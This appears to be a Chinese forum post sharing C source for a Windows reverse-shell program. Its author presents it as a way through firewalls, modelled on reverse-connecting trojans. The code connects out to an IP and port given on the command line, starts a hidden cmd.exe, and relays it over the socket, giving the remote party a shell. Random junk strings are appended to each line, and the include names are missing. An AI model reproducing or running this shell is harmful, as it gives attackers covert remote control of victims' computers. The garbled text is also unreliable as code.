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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 C3K")BO!  
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/* ============================== P4s,N|bs`  
Rebound port in Windows NT quq!Jswn  
By wind,2006/7 8ROZ]Xh,x  
===============================*/ th{Ib@o  
#include r#6djs1  
#include #!4 HSBf  
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#pragma comment(lib,"wsock32.lib") @4]dv> Z  
#/hXcF  
void OutputShell(); IBh?vh  
SOCKET sClient; )hfI,9I~  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; &Z7NF|  
>T^BD'z@'  
void main(int argc,char **argv) O[9A}g2~  
{ ,sp((SF]1  
WSADATA stWsaData; qa?0GTAS  
int nRet; V%FWZn^  
SOCKADDR_IN stSaiClient,stSaiServer; ]sB%j@G  
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if(argc != 3) :HH3=.qAp`  
{ j$z!kd+%  
printf("Useage:\n\rRebound DestIP DestPort\n"); (Lkcx06e  
return; =UZQ` {  
} X@:@1+U  
x J\>;$CY  
WSAStartup(MAKEWORD(2,2),&stWsaData); 14h0$7  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); NHaqT@:  
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stSaiClient.sin_family = AF_INET; T2 XLP  
stSaiClient.sin_port = htons(0); l-6W]\v Z  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); -8Uz8//A  
} FC(Z-g  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 'L veCi_  
{ f;,^ ]mw  
printf("Bind Socket Failed!\n"); hx;0h&L  
return; L#u!T)!zW  
} m Wh   
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stSaiServer.sin_family = AF_INET; R!RgQwEak  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ;0O>$|kg  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); nSbcq>3  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) JP6+h>ft  
{ e/<'HM T  
printf("Connect Error!"); EN@<z;  
return; e>b|13X  
} .^[{~#Pc*  
OutputShell(); C\1x3  
} `4t*H>:y  
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void OutputShell() DG 6W ^  
{ `"eIzLc%o6  
char szBuff[1024]; ~JDVoS;>jU  
SECURITY_ATTRIBUTES stSecurityAttributes; w\5;;9_#  
OSVERSIONINFO stOsversionInfo; 9S<at MB  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; !<4=@  
STARTUPINFO stStartupInfo; SG-Xgr@  
char *szShell; h`V#)Q  
PROCESS_INFORMATION stProcessInformation; i0{sE  
unsigned long lBytesRead; b|u0a6  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 42.y.LtZ  
t ;bU#THM  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); f^@D uI  
stSecurityAttributes.lpSecurityDescriptor = 0; kD_616  
stSecurityAttributes.bInheritHandle = TRUE; L9,O,f  
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^:^8M4:  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); :<R"Kk@  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ]+@I] \S4  
$/$ 5{<  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ^<+V[ =X  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YiTVy/  
stStartupInfo.wShowWindow = SW_HIDE; {3|h^h_R  
stStartupInfo.hStdInput = hReadPipe; T9-2"M=|<  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; WXJ%hA  
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GetVersionEx(&stOsversionInfo); unAu8k^  
0GMov]W?i  
switch(stOsversionInfo.dwPlatformId) vQ1#Zg y  
{ :lp V  
case 1: V})b.\"F  
szShell = "command.com"; `fq#W#Pu  
break; '\/|K  
default: YG#.L}X@C  
szShell = "cmd.exe"; 'zfj`aqc  
break; *n2le7  
} ~zL DLr=  
K]C@seF`  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ;Zw? tU  
h7o?z!  
send(sClient,szMsg,77,0); .%x%(olf  
while(1) V-w{~  
{ Y]: Ch (Q  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); d\j[O9W>  
if(lBytesRead) Tu_4kUCR!f  
{ ^y<8 &ZFH  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 6"u"B-cz  
send(sClient,szBuff,lBytesRead,0); TX$4x~:  
} :a'[ 4w  
else Ae_:Kc6  
{ ExZ|_7^<  
lBytesRead=recv(sClient,szBuff,1024,0); +`'>   
if(lBytesRead<=0) break; >4]y)df5  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); [^ eQGv[S  
} T6I$7F  
} zF#:Uc`C5U  
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return; ,!oR"b!  
}
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